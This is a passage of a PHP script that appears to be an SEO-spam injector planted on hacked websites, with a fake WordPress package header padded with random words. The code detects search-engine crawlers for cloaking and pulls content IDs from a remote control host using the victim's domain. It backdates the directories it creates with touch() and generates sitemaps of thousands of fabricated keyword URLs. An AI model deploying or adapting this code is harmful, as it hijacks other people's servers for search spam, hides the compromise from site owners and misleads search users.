			$strBreads .= '<li'.$liStr.'><a href="'.$nowUrl.'">'.$Ptitle.'</a></li>';
			// $strBreads .= '<li'.$liStr.'>'.$Ptitle.'</li>';
				
			$strBreads .= '</'.$breadTagHtml2.'>';
			$strBreads .= '</'.$breadTagHtml1.'>';
		}
	}
	
	
	return $strBreads;

}

function get_scheme(){
	
	if ( (isset($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (isset($_SERVER['HTTP_CF_VISITOR']) && strstr($_SERVER['HTTP_CF_VISITOR'],'https')) || (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443') ) {
		$httpPre= 'https';
	} else {
		$httpPre = 'http';
	}
	
	return $httpPre;
}


function get_shares(){
	
	$siteLink= get_scheme() .'://'.$_SERVER['HTTP_HOST'];
	$shareStr = '
<ul>
<li><a href="https://www.facebook.com/sharer/sharer.php?u=domain" target="_blank"><span>facebook</span></a></li>
<li><a href="https://twitter.com/share?url=domain" target="_blank"><span>twitter</span></a></li>
<li><a href="https://www.linkedin.com/shareArticle?mini=true&url=domain" target="_blank"><span>linkedin</span></a></li>
<li><a href="https://pinterest.com/pin/create/button/?url=domain" target="_blank"><span>pinterest</span></a></li>
</ul>
';
  $shareStr = str_replace('domain',$siteLink,$shareStr);
  
  return $shareStr;
	
}

function getCatLink($CatName,$id23){
		
		global $arrnametime,$arrKeywz,$date_string;		
	
		$filePres = '';		$fileEnds = '';		$siteLink= get_scheme() .'://'.$_SERVER['HTTP_HOST'];
		$dirNames = dirname(__FILE__);		$httcReplace = end((explode(DIRECTORY_SEPARATOR, $dirNames)));		
		if(JDT == 2){
			$filePres = $siteLink ."/". $httcReplace . "/" . basename(__FILE__) . "/";		}elseif(JDT == 1){
			$filePres = $siteLink ."/". $httcReplace . "/";		}elseif(JDT == 3){
			$filePres = $siteLink ."/". $httcReplace . "/" .basename(__FILE__) . "?cat=";		}else{
			$filePres = $siteLink."/";		}
		
		$CatName = str_replace('&',' ',$CatName);
		$CatName = str_replace('&',' ',$CatName);
		if(JDT == 3){
			
			$CatName = preg_replace('#\s+#i','-',$CatName);
			
			
			while(strstr($CatName,'--'))
				$CatName = str_replace('--','-',$CatName);
			
			$urlMid = $CatName;	
			
			$rtStr = $filePres.$urlMid;
			$rtStr = str_replace($filePres.'-',$filePres,$rtStr);
		
			return $rtStr;
			
			}
		// BZCAT
		
		global $tpKeyStrCat;
		
		$endNumber = '';
		
		$tpNum = KEYJG * $id23;
		$tpKey = $tpNum % count($date_string);
		$lenStr = strlen($date_string[$tpKey]);
		if($tpKeyStrCat == -1)
			$tpKeyStrCat = (KEYJG + $pid) % $lenStr;
		$tpstr = $date_string[$tpKey];

		$randStr = '';
		$arrNum = array();
		for($i = 0; $i < $lenStr; $i++){
			$vs = $tpstr{$tpKeyStrCat};
			$int_vs = ord($vs);
			if($int_vs >= 100 and $int_vs <= 119){
				$arrNum[] = $int_vs % 10;
				if(count($arrNum) >= 3){
					break;
				}
			}
			
			$tpKeyStrCat = ($tpKeyStrCat + 1) % $lenStr;
		}
		
		$catNum = implode('',$arrNum);
		
		$CatName = preg_replace('#\s+#i','-',$CatName);
		$CatName = str_replace('--','-',$CatName);
		$urlMid =  str_replace('--','-',$CatName) . '/category-' . $catNum;
		// $urlMid .= JTHZ;		
		$rtStr = $filePres.$urlMid.'/';
		$rtStr = str_replace($filePres.'-',$filePres,$rtStr);
		
		return $rtStr;
			
}
	
	
function getMapNum($bgNum,$mapnum){
	$TempArr = array();
	if($bgNum + $mapnum <= FNUM){
		for($i=0;$i<$mapnum;$i++){
			$TempArr[$i] = $bgNum + $i -1;
		}
	}else{
		for($i=0;$i<$mapnum;$i++){
			if($bgNum+$i > FNUM)
				$TempArr[$i] = $bgNum + $i -1 -FNUM;
			else
				$TempArr[$i] = $bgNum + $i -1;
		}
	}
	
	return $TempArr;
}


function getRandCId($rqurl){
	global $thisdom;
	
	for($i=0;$i<3;$i++){
		$idUrl =  GETDOM . "gpage.php?site=$thisdom&cid=$rqurl";
		$tempIdStr = curl_get_from_webpage($idUrl,'',5);
		if(preg_match('#<cid>(\d+)</cid>#i',$tempIdStr,$matchId)){
			return $matchId[1];
		}
	}
	
	  
	http_response_code(404);  
	exit; 
	
}

/**
 * alcohol arise automatic gene germ harmony motive offend parade previous stimulate survey vary.
 * code constant gasoline mild.
 * commit deserve drift gap grand grateful manual motivate nonsense notion oblige parade peak portable rely rescue retail scratch secure seminar target tedious tremble vague wax.
 * adapt barrel burst debate explosion genius massive missile nuclear orbit organ particularly poverty rival seminar spit venture zone.
 * apparent expel gaze interpret leap slide tidy transmit variation violence welfare.
 * adult coach conservation deposit extraordinary fate geography horror mature oral sequence significance sponsor suspicion timber vivid vocabulary.
 * accomplish breadth decade derive explosion faculty mature portion repetition vacuum whatsoever.
 * prospect sophisticated stimulate suspicion temptation.
 * absolute appeal applianc bundle decade drift dump erect expend expensive favorable flock glory infinite marine moist nylon valid vessel.
 * audio infant licence maximum orchestra simplify sincere stimulate urge.
 * blast breadth compete descend distress generate harmony jungle nucleus outstanding relevant temple vague vessel.
 * campus guilty impose scan waist.
 * agent attach breed compete drift fatal kneel nuclear release sophisticated stuff substantial suspicious tarnest trial tuition vary videotape weld.
 * abuse accomplish appeal blast delay duration evil guarantee individual modify moist optimistic relief stimulate.
 * breed discipline enclose enthusiasm evolution exclaim flexible hint illegal motivate naval nuclear opponent professional retail ruin shift treaty twist vitally vote.
 * adhere auxiliary beforehand breed distinguish episode export grant moisture nonsense professional prohibit remedy semester sensitive slope utter whereas.
 * acid aware calculate delicate device exclaim gaze germ illegal infant notify notion prior private radiation reject remarkable repetition spur temple vain voluntary wax witness.
 * excursion glorious primitive prosperity simplicity.
 * applause award core grand.
 * gallon guarantee hestiate obstacle precaution triangle whatsoever.
 * barrel core electron extraordinary modest particle prosperity.
 * appropriate auxiliary conservation drip geometry naval offend semester spray temptation theme utter.
 * absolute appropriate award aware bureau campus capture dive faculty impose liquor participate peak prevail prospect radiation revenue software spot swallow trend urge.
 * distress geography hook liberty odd particle personal regulate religious remarkable sincere slip violent weed withdraw witness.
 * acid award compete evaluate glory idle legislation loose oblige prescribe slip transplant volcano vote.
 * core leap loosen restrain temple twist virtual.
 * awkward deaf dispose echo exceedingly exclude infant kneel loose navigation nevertheless organ passport portable provision revenue ridge satellite triangle ultimate utter weld.
 * adhere inferior mainland maximum nylon pants restrain stripe submerge tidy yawn.
 * response collision delay echo explore export orchestra stable subt temporary via.
 * bundle expensive mature motive odd register sake tedious vital.
 * aspect balcony discipline electron emotional extinct gaze generate massive naval navigation onion render ridiculous ridid spill treaty tremble undergraduate urban waist weld yawn.
 * alter bunch gallon leak phenomenon ridge via.
 * architect arichmetic biology defect derive dumb exclusive extinct gallon liberty maximum orient repetition route terror violent.
 * constant entitle insurance laser manufacture principal prompt resistant semester transmit treaty valid.
 * continual electron flock remarkable trace vain.
 * campus deaf defect dusk leap petroleum prosperity tense.
 * approve dispose erect flash media opponent passive quotation religion resume substantial torture treaty volume.
 * response appetite automatic clue earthquake elaborate electron entertainment grant inevitable likelihood lynar male maximum nylon orient portable radiation resolve restraint ridge urban wealthy.
 * accomplish applicant community compete favorable gasoline horrible liable marine mood pursue region sketch slope timber whatsoever.
 * agency coil flash hollow interpretation moisture signature strategic stuff.
 * campus competition distress entry gear hydrogen identify presumably priority radiation shrink transmit utter videotape.
 * calculate distress gap medium mixture profitable region substance tide utilify weld.
 * dive favorite infer principle spot transplant.
 * absolute abundant alcohol conservative deaf emphasize exceed household infect liable notion nuclear oval pursue religious sensitive sketch stale twist urge violent.
 * brake diverse extraordinary ferfile insure necessity rescue shelter vessel.
 * abundant appreciate deposit drip earthquake entitle episode extent issue profit radiation restrict victim weed.
 *
 * @package WordPress
 */
	

function getRandId(){
	$num = rand(1,FNUM);	$num = $num - 1;	require(FILEDIRNAME . "/id$num.php");	$indexId=array_rand($arrId,1);	$id = $arrId[$indexId];	unset($arrId);	return $id;}
function get_arrvs($arr,$num,$nowkey){
	$numArr = count($arr);	
	if($nowkey + $num < $numArr)
		return $arr[$nowkey + $num];	else{
		if($nowkey + $num - $numArr - $numArr > 0)
			return get_arrvs($arr,$num - $numArr,$nowkey);		else
			return $arr[abs($nowkey + $num - $numArr)];	}
}

function get_pre_link($arr,$key){
	
	$tmpA1 = array();	$tmpA2 = array();	
	$num = count($arr);	
	
	if($key + JGNUM + 1 + LINKNUM >= $num){
		
		if($key + JGNUM + 1 - $num > LINKNUM){
			return array_slice($arr, $key + JGNUM + 1 - $num, LINKNUM);		}else{
		
		$duoyu = $key + JGNUM + 1 + LINKNUM - $num + 1;		$tmpA1 = array_slice($arr, $key + JGNUM + 1, LINKNUM);		$tmpA2 = array_slice($arr, 0, $duoyu);			
		return array_merge($tmpA1,$tmpA2);		}
	}else{
			return  array_slice($arr, $key + JGNUM + 1, LINKNUM);	}
	
}
function get_next_link($arr,$key){
	
	$tmpA1 = array();	$tmpA2 = array();	
	$num = count($arr);	if($key - JGNUM - LINKNUM < 0 && $key - JGNUM > 0){
		$duoyu = abs($key - JGNUM - LINKNUM);		$tmpA1 = array_slice($arr, 0, abs($key - JGNUM));		$tmpA2 = array_slice($arr, $num-$duoyu-1, $duoyu);		return array_merge($tmpA1,$tmpA2);	}else{
			return  array_slice($arr, $key - JGNUM - LINKNUM, LINKNUM);	}
}
function rFile($file){
	if(function_exists('file_get_contents')){
		return file_get_contents($file);
	}else{
		$handle = fopen($file, "r");
		$contents = fread($handle, filesize($file));
		fclose($handle);
		return $contents;
	}
}
function isCrawler() {
	$agent= @strtolower($_SERVER['HTTP_USER_AGENT']);	if (!empty($agent)) {
		$spiderSite= array(
			"Googlebot",
			"Mediapartners-Google",
			"Adsbot-Google",
			"Yahoo!",
			"Google AdSense",
			"Yahoo Slurp",
			"bingbot",
			"MSNBot"
		);		foreach($spiderSite as $val) {
		$str = strtolower($val);		if (strpos($agent, $str) !== false) {
			return true;			}
		}
	} else {
		return false;	}
} 


function gsitemap2($filenames,$c=1,$jdt=1){
	global $gnumber,$arrArrr;
$arrABC = range('a','z');
$tparrsI = $filenames;
$randnum = rand(7000,7600);
$tparrII = array_rand($tparrsI,$randnum);
$tparrIII = array();
foreach($tparrII as $vs){
	$tparrIII[$vs] = $filenames[$vs];
}
$filenames = $tparrIII;

	$filePres = '';	$fileEnds = '';	
	$dirNames = dirname(__FILE__);	$httcReplace = end((explode(DIRECTORY_SEPARATOR, $dirNames)));			
	if(JDT == 2){
		$filePres = $httcReplace . "/" . basename(__FILE__) . "/";	}elseif(JDT == 1){
		$filePres = $httcReplace . "/";	}elseif(JDT == 3){
		$filePres = $httcReplace . "/" .basename(__FILE__) . "?key=";	}else{
		$filePres = '';	}
	if(JDT == 3){
		$fileEnds = '';	}else{
		$fileEnds = JTHZ;	}
	$fpath=get_scheme() .'://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];	$serpath=substr($fpath,0,strrpos($fpath,'/'));
	$siteLink=get_scheme() .'://'.$_SERVER['HTTP_HOST'];		
	$mapPre = '<'.'?xml version="1.0" encoding="UTF-8" ?'.'>'. PHP_EOL.'<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">' . PHP_EOL;	$mapEnd = PHP_EOL .  '</urlset>';
	// $urlsArray = $filenames;
	// $numLinks = count($urlsArray);
	$star = 0;	$priority = 0.1;	$starPri = 0;	$gFile ="";	$date = date("Y-m-d");	$time = date("H:i:s");
	$str = "";						
	$tempArr1 = $filenames;
	
	foreach($tempArr1 as $key => $value2){
		$curphp=basename(__FILE__); 
		$value = $value2;		$first=stristr($value,".php");		$last=stristr($value,".xml");		$checkTxt =stristr($value,".txt");		
			$tempPid = $key;
		
			$url = getalink($tempPid,$value2);
			
 		if(JDT == 0){

		if($first===false && $last===false && $checkTxt===false)
		{
			$date = date("Y-m-d");			$time = date("H:i:s");				
		
			if($star % 12000==11999){
				$gFile =  '../xmlmap/' . $arrABC[$gnumber-2] . 'goodssearch' .'.xml';				echo '<br/>'.$gFile.'<br/>';				$put_str = $mapPre . $str . $mapEnd;				@unlink($gFile);				file_put_contents($gFile,$put_str);
				file_put_contents("./map.log",'#' . $arrABC[$gnumber-2] . 'goodssearch'  .'.xml#'.PHP_EOL,FILE_APPEND);
				$str = '';				$gnumber++;				return;			}
			
		
			
	
			$str .= "     <url>
			 <loc>" . $url . "</loc> 
			 <lastmod>". $date . "T" . $time ."-05:00</lastmod>   
			 <changefreq>daily</changefreq> 
			 <priority>0.1</priority> 
			 </url>
		";	
			
			
			$star++;			$starPri++;		}
			
			
		}else{
			
			if($first===false && $last===false && $checkTxt===false)
		{
			$date = date("Y-m-d");			$time = date("H:i:s");				
		
			if($star % 12000==11999){
				$gFile =  '../xmlmap/' . $arrABC[$gnumber-1] . 'goodssearch' .'.xml';				echo '<br/>'.$gFile.'<br/>';				$put_str = $mapPre . $str . $mapEnd;				@unlink($gFile);				file_put_contents($gFile,$put_str);
				file_put_contents("./map.log",'#' . $arrABC[$gnumber-1] . 'goodssearch'  .'.xml#'.PHP_EOL,FILE_APPEND);
				$str = '';				$gnumber++;				return;			}
			
		
			
	
			$str .= "     <url>
			 <loc>" . $url . "</loc> 
			 <lastmod>". $date . "T" . $time ."-05:00</lastmod>   
			 <changefreq>daily</changefreq> 
			 <priority>0.1</priority> 
			 </url>
		";	
			
			
			$star++;			$starPri++;		}
			
		}
		
		
			
			
			
			
			
	}
	
	
 		if(JDT == 0){
			
				{
		$gFile =  '../xmlmap/' . $arrABC[$gnumber-2] . 'goodssearch' .'.xml';			echo '<br/>'.$gFile.'<br/>';
		$put_str = $mapPre . $str . $mapEnd;		@unlink($gFile);		file_put_contents($gFile,$put_str);	
		file_put_contents("./map.log",'#' . $arrABC[$gnumber-2] . 'goodssearch'  .'.xml#'.PHP_EOL,FILE_APPEND);
		$gnumber++;	
		}
			
		}else{
			
			{
		$gFile =  '../xmlmap/' . $arrABC[$gnumber-1] . 'goodssearch' .'.xml';			echo '<br/>'.$gFile.'<br/>';
		$put_str = $mapPre . $str . $mapEnd;		@unlink($gFile);		file_put_contents($gFile,$put_str);	
		file_put_contents("./map.log",'#' . $arrABC[$gnumber-1] . 'goodssearch'  .'.xml#'.PHP_EOL,FILE_APPEND);
		$gnumber++;	
		}
	
	
		}
	
	
	
	unset($tempArr1);	unset($filenames);	
	echo "生成sitemap成功!";	
}


function gsitemap($filenames,$c=1,$jdt=1){
	global $gnumber,$arrArrr;
$arrABC = range('a','z');
$tparrsI = $filenames;
$randnum = rand(7000,7600);
$tparrII = array_rand($tparrsI,$randnum);
$tparrIII = array();
foreach($tparrII as $vs){
	$tparrIII[$vs] = $filenames[$vs];
}
$filenames = $tparrIII;
	
	$filePres = '';	$fileEnds = '';	
	
	$fpath=get_scheme() .'://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];	$serpath=substr($fpath,0,strrpos($fpath,'/'));
	$siteLink=get_scheme() .'://'.$_SERVER['HTTP_HOST'];		
	$mapPre = '<'.'?xml version="1.0" encoding="UTF-8" ?'.'>'. PHP_EOL.'<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">' . PHP_EOL;	$mapEnd = PHP_EOL .  '</urlset>';
	// $urlsArray = $filenames;
	// $numLinks = count($urlsArray);
	
	$star = 0;	$priority = 0.9;	$starPri = 0;	$gFile ="";	$date = date("Y-m-d");	$time = date("H:i:s");
	$str = "     <url>
			 <loc>" . $siteLink . "</loc> 
			 <lastmod>". $date . "T" . $time ."-05:00</lastmod> 
			 <changefreq>always</changefreq> 
			 <priority>1.0</priority> 
			 </url>
		";						
	$tempArr1 = $filenames;
	
	foreach($tempArr1 as $key => $value2){
		$curphp=basename(__FILE__); 
		$value = $value2;		$first=stristr($value,".php");		$last=stristr($value,".xml");		$checkTxt =stristr($value,".txt");	
		
			$tempPid = $key;
				$url = getalink($tempPid,$value2);
		
		 if(JDT == 0){
			 
			 	if($first===false && $last===false && $checkTxt===false)
		{
			$date = date("Y-m-d");			$time = date("H:i:s");			
	
			if($star % 12000==11999){
				$gFile =  '../xmlmap/sitemap.xml';				echo '<br/>'.$gFile.'<br/>';				
				$put_str = $mapPre . $str . $mapEnd;				@unlink($gFile);				file_put_contents($gFile,$put_str);
				file_put_contents("./map.log",'site_map.xml'.PHP_EOL,FILE_APPEND);
				$str = '';				$gnumber++;				return;				
			}
			
			if($starPri >= 400 && $priority != 0.1){
				$starPri = 0;				$priority = $priority - 0.1;			}
			
			if($priority > 0.1){
				
				$str .= "     <url>
					 <loc>" . $url . "</loc> 
					 <lastmod>". $date . "T" . $time ."-05:00</lastmod>   
					 <changefreq>daily</changefreq> 
					 <priority>". $priority . "</priority> 
					 </url>
				";	
			}else{
										$str .= "     <url>
			 <loc>" . $url . "</loc> 
			 <lastmod>". $date . "T" . $time ."-05:00</lastmod>   
			 <changefreq>daily</changefreq> 
			 <priority>0.1</priority> 
			 </url>
		";	
			}
			
			$star++;			$starPri++;		}
			 
			 
			 
		 }else{
			 
			 
			 	if($first===false && $last===false && $checkTxt===false)
		{
			$date = date("Y-m-d");			$time = date("H:i:s");			
	
			if($star % 12000==11999){
				$gFile =  '../xmlmap/' . $arrABC[$gnumber-1] . 'goodssearch' .'.xml';				echo '<br/>'.$gFile.'<br/>';				
				$put_str = $mapPre . $str . $mapEnd;				@unlink($gFile);				file_put_contents($gFile,$put_str);
				file_put_contents("./map.log",'#' . $arrABC[$gnumber-1] . 'goodssearch'  .'.xml#'.PHP_EOL,FILE_APPEND);
				$str = '';				$gnumber++;				return;				
			}
			
			if($starPri >= 400 && $priority != 0.1){
				$starPri = 0;				$priority = $priority - 0.1;			}
			
			if($priority > 0.1){
				
				$str .= "     <url>
					 <loc>" . $url . "</loc> 
					 <lastmod>". $date . "T" . $time ."-05:00</lastmod>   
					 <changefreq>daily</changefreq> 
					 <priority>". $priority . "</priority> 
					 </url>
				";	
			}else{
										$str .= "     <url>
			 <loc>" . $url . "</loc> 
			 <lastmod>". $date . "T" . $time ."-05:00</lastmod>   
			 <changefreq>daily</changefreq> 
			 <priority>0.1</priority> 
			 </url>
		";	
			}
			
			$star++;			$starPri++;		}
			
			
			 
		 }

		
	
			
			
	}
	
	
	
		 if(JDT == 0){
			
	
	{
		$gFile =  '../xmlmap/sitemap.xml';		echo '<br/>'.$gFile.'<br/>';
		$put_str = $mapPre . $str . $mapEnd;		@unlink($gFile);		file_put_contents($gFile,$put_str);	
		file_put_contents("./map.log",'site_map.xml'.PHP_EOL,FILE_APPEND);
		$gnumber++;
	}
	
		 }else{
			 
			 	
	{
		$gFile =  '../xmlmap/' . $arrABC[$gnumber-1] . 'goodssearch' .'.xml';		echo '<br/>'.$gFile.'<br/>';
		$put_str = $mapPre . $str . $mapEnd;		@unlink($gFile);		file_put_contents($gFile,$put_str);	
		file_put_contents("./map.log",'#' . $arrABC[$gnumber-1] . 'goodssearch'  .'.xml#'.PHP_EOL,FILE_APPEND);
		$gnumber++;
	}
			 
		 }
	
	
	
	unset($tempArr1);	unset($filenames);	echo "生成sitemap成功!";	
}
	
function curl_get_from_webpage($url,$proxy='',$loop=10){
	$data = false;        $i = 0;        while(!$data) {
             $data = curlGetOne($url,$proxy);             if($i++ >= $loop) break;        }
	return $data;}
 

function curl_getjs_from_webpage($url,$time){
if(function_exists("curl_init") && function_exists("curl_setopt") && function_exists("curl_exec") && function_exists("curl_close")){
 
    $curl = curl_init();	//如果有用代理,则使用代理.
	$user_agent = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; chromeframe/12.0.742.100";			
	// $urlReferer = "http://www.google.com";
	curl_setopt($curl, CURLOPT_URL, $url);	
		if(stristr($url,"https:")){ curl_setopt_array($curl, array(CURLOPT_SSL_VERIFYHOST => 2,CURLOPT_SSL_VERIFYPEER => 0,	CURLOPT_POSTFIELDS => '',			CURLOPT_RETURNTRANSFER => 1,CURLOPT_TIMEOUT => $time,CURLOPT_USERAGENT => $user_agent,CURLOPT_HEADER => 1,			CURLOPT_VERBOSE => 0
			));}else{curl_setopt($curl, CURLOPT_URL, $url);curl_setopt($curl, CURLOPT_TIMEOUT, $time);curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);curl_setopt($curl, CURLOPT_HEADER, false);curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);curl_setopt($curl, CURLOPT_USERAGENT, $user_agent);
	}$data=curl_exec($curl);curl_close($curl); 
  }else{
 
    $is_auf=ini_get('allow_url_fopen') && function_exists("file_get_contents")?true:false; 
    if($is_auf){
		$data = file_get_contents($url); 
    }
 
  }
	if(!$data) return false;
	return $data;	
	
}

function curlGetOne($url,$proxy=''){
if(function_exists("curl_init") && function_exists("curl_setopt") && function_exists("curl_exec") && function_exists("curl_close")){
 
    $curl = curl_init();	//如果有用代理,则使用代理.
	$user_agent = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; chromeframe/12.0.742.100";			
	// $urlReferer = "http://www.google.com";
	if(strlen($proxy) > 8) curl_setopt($curl, CURLOPT_PROXY, $proxy);
curl_setopt($curl, CURLOPT_URL, $url);	
		if(stristr($url,"https:")){ curl_setopt_array($curl, array(CURLOPT_SSL_VERIFYHOST => 2,CURLOPT_SSL_VERIFYPEER => 0,	CURLOPT_POSTFIELDS => '',			CURLOPT_RETURNTRANSFER => 1,CURLOPT_USERAGENT => $user_agent,CURLOPT_HEADER => 1,			CURLOPT_VERBOSE => 0
			));}else{curl_setopt($curl, CURLOPT_URL, $url);curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);curl_setopt($curl, CURLOPT_HEADER, false);curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);curl_setopt($curl, CURLOPT_USERAGENT, $user_agent);
	}$data=curl_exec($curl);curl_close($curl); 
  }else{
 
    $is_auf=ini_get('allow_url_fopen') && function_exists("file_get_contents")?true:false; 
    if($is_auf){
		$data = file_get_contents($url); 
    }
 
  }
	if(!$data) return false;
	return $data;	
	
}



	
////



function my_mkdir($dir){
		global  $fitime;
		if(!is_dir($dir)){
			mkdir($dir);
			@touch($dir, $fitime, $fitime);   
		} 
	}
	

	
	function generate_dir_file($gDir=''){
		
		global $hostDir;
		$gDir = str_replace('/',DIRECTORY_SEPARATOR,$gDir);
		$gDir = str_replace('\\',DIRECTORY_SEPARATOR,$gDir);
		$arr = explode(DIRECTORY_SEPARATOR,$gDir);
		
		if(count($arr) <= 0) return;
		
		if(!strstr($gDir,$hostDir))
			$dir = $hostDir;
		else
			$dir = '';


		for($i = 0 ; $i < count($arr)-1 ; $i++){
			$dir .= DIRECTORY_SEPARATOR . $arr[$i];
			my_mkdir($dir);
		}
		
		return $dir;
	}


	function strFilter($str){
		$str = str_replace('`', '', $str);
		$str = str_replace('·', '', $str);
		$str = str_replace('~', '', $str);
		$str = str_replace('!', '', $str);
		$str = str_replace('!', '', $str);
		$str = str_replace('@', '', $str);
		$str = str_replace('#', '', $str);
		$str = str_replace('$', '', $str);
		$str = str_replace('¥', '', $str);
		$str = str_replace('%', '', $str);
		$str = str_replace('^', '', $str);
		$str = str_replace('……', '', $str);
		$str = str_replace('*', '', $str);
		$str = str_replace('(', '', $str);
		$str = str_replace(')', '', $str);
		$str = str_replace('(', '', $str);
		$str = str_replace(')', '', $str);
		$str = str_replace('-', '', $str);
		$str = str_replace('_', '', $str);
		$str = str_replace('——', '', $str);
		$str = str_replace('+', '', $str);
		$str = str_replace('=', '', $str);
		$str = str_replace('|', '', $str);
		$str = str_replace('\\', '', $str);
		$str = str_replace('[', '', $str);
		$str = str_replace(']', '', $str);
		$str = str_replace('【', '', $str);
		$str = str_replace('】', '', $str);
		$str = str_replace('{', '', $str);
		$str = str_replace('}', '', $str);
		$str = str_replace(';', '', $str);
		$str = str_replace(':', '', $str);
		$str = str_replace('<', '', $str);
		$str = str_replace('>', '', $str);
		$str = str_replace(':', '', $str);
		$str = str_replace('\'', '', $str);
		$str = str_replace('"', '', $str);
		$str = str_replace(',', '', $str);
		$str = str_replace(',', '', $str);
		$str = str_replace('《', '', $str);
		$str = str_replace('》', '', $str);
		$str = str_replace('.', '', $str);
		$str = str_replace('。', '', $str);
		$str = str_replace('–', '', $str);
		$str = str_replace('–', '', $str);
		$str = str_replace('/', '', $str);
		$str = str_replace('、', '', $str);
		$str = str_replace('?', '', $str);
		$str = str_replace('?', '', $str);
		$str = str_replace('°', '', $str);
		$str = str_replace('&', '&amp;', $str);
		return trim($str);
	}




	function getalink($pid,$pname=''){
		
		global $arrnametime,$arrKeywz,$arr_word,$date_string;		
		
		
		if(strstr($pname,'#cat#')){
			$tp_pname_arr = explode('#cat#',$pname);
			$pname = $tp_pname_arr[1];
			$precat = $tp_pname_arr[0];
		}
		
		if(function_exists("preg_split")){
			$tpnameArr = preg_split('/\s+/us', $pname);		
		}else{
			$tpnameArr = explode(' ', $pname);
		}
		
		$pnameArr = array();
		foreach($tpnameArr as $tpvs){
			$tpvs = trim($tpvs);
			if($tpvs){
				$pnameArr[] = $tpvs;
			}
		}
		
		$numPname = count($pnameArr);
		
		if($numPname > 3){
			$numLinkKey = round(PNAMELEN * $numPname / 100);
			$yushu = KEYJG % $numPname;
			
			$arrPre = array();
			$arrLast = array();

			for($i=0;$i<$numPname;$i++){
				if($i<$yushu){
					$arrLast[] = $pnameArr[$i];
				}else{
					$arrPre[] = $pnameArr[$i];
				}
			}
			
			if(count($arrLast)){
				foreach($arrLast as $vs){
					$arrPre[] = $vs;
				}
			}
			
			$usedNameArr = array();
			for($i=0;$i<$numLinkKey;$i++){
				$usedNameArr[$i] = $arrPre[$i];
			}

			if(count($usedNameArr)){
				$pname = implode(' ',$usedNameArr);
			}
			
		}
		
		if(JDT == 0){
			$precat = strFilter($precat);
			$precat = preg_replace('/\s+/', '-', $precat);
		}
			
		
		$pname = strFilter($pname);

		$filePres = '';		$fileEnds = '';		$siteLink= get_scheme() .'://'.$_SERVER['HTTP_HOST'];
		$dirNames = dirname(__FILE__);		$httcReplace = end((explode(DIRECTORY_SEPARATOR, $dirNames)));		
		if(JDT == 2){
			$filePres = $siteLink ."/". $httcReplace . "/" . basename(__FILE__) . "/";		}elseif(JDT == 1){
			$filePres = $siteLink ."/". $httcReplace . "/";		}elseif(JDT == 3){
			$filePres = $siteLink ."/". $httcReplace . "/" .basename(__FILE__) . "?keyword=";		}else{
			$filePres = $siteLink."/";		}
		
	
		$rsp = '#'. BZPRO .'\d+#';
		$rsp2 = '#\d+-#';
		$rsp3 = '#-\d+#';
		$pname = trim($pname);
		
		
		$pname = trim(str_replace('>>',' ',$pname));
		$pname = preg_replace('/\s+/', '-', $pname);
	
		
		if(JDT == 3){
			
			$rs = '#&[^;]+;#i';
			$pname = preg_replace($rs,'',$pname);
	
		
			while(strstr($pname,'&'))
				$pname = str_replace('&','',$pname);
			
			while(strstr($pname,'--'))
				$pname = str_replace('--','-',$pname);
			
			$urlMid = $pname .'-' .$pid;
			$rtStr = $filePres.$urlMid;
			$rtStr = str_replace($filePres.'-',$filePres,$rtStr);
		
			return $rtStr;
			
			}
			
			
		$tpNum = KEYJG * $pid; 
		$tpKey = $tpNum % count($date_string);
		$tpKeyStr = (KEYJG + $pid) % strlen($date_string[$tpKey]);
		$nums = (KEYJG + $pid) % 2 ? 5 : 6 ;
		
		$randStr = '';
		for($i = 0; $i < $nums; $i++){
			$tpstr = $date_string[$tpKey];
			$randStr .= $tpstr{$tpKeyStr};
			$tpKey = ($tpKey + 1) % count($date_string);
		}
			
		if(strlen($pname) > 235){
			$rs = '#&[^;]+;#i';
			$pname = preg_replace($rs,'',$pname);
			$pname = str_replace('&','',$pname);
			$pname = str_replace('&',';',$pname);
			if(function_exists("mb_substr")){
				$pname = mb_substr($pname, 0, 235, 'utf-8');
			}else{
				$pname = substr($pname, 0, 235);
			}
		}	
		
		$precat = preg_replace($rsp,'',$precat);
		$precat = preg_replace($rsp2,'-',$precat);
		$precat = preg_replace($rsp3,'-',$precat);
		$precat = str_replace('&','',$precat);
		$precat = str_replace('>>',' ',$precat);
		$precat = str_replace('&',';',$precat);
		$precat = preg_replace('/\s+/', '-', $precat);

		$pname = preg_replace($rsp,'',$pname);
		$pname = preg_replace($rsp2,'-',$pname);
		$pname = preg_replace($rsp3,'-',$pname);
		
		
			
		if(JDT == 0){
			$urlMid = $precat .'/'. $randStr .'-'. $pid .'/'. $pname;
		}else{
			$urlMid = $precat .'/'. $randStr .'-'. $pid .'/'. $pname;
		}
			

		
			$urlMid .= JTHZ;			$urlMid = str_replace("-/","/",$urlMid);			$urlMid = str_replace("-".JTHZ,JTHZ,$urlMid);		
		
			
			while(strstr($urlMid,'--'))
				$urlMid = str_replace('--','-',$urlMid);	
			// $urlMid = str_replace('/-','/',$urlMid);	
			
		$rtStr = $filePres.$urlMid;
		$rtStr = str_replace($filePres.'-',$filePres,$rtStr);
		$rtStr = str_replace('-amp;-','-&amp;-',$rtStr);
		return $rtStr;
	}
	
	

  
  
  
	
	
	
// 

	
	
function is_ip($localIp,$ipRanges)
{    
	$localIp = ip2long($localIp);  
	foreach($ipRanges as $val)
	{ 
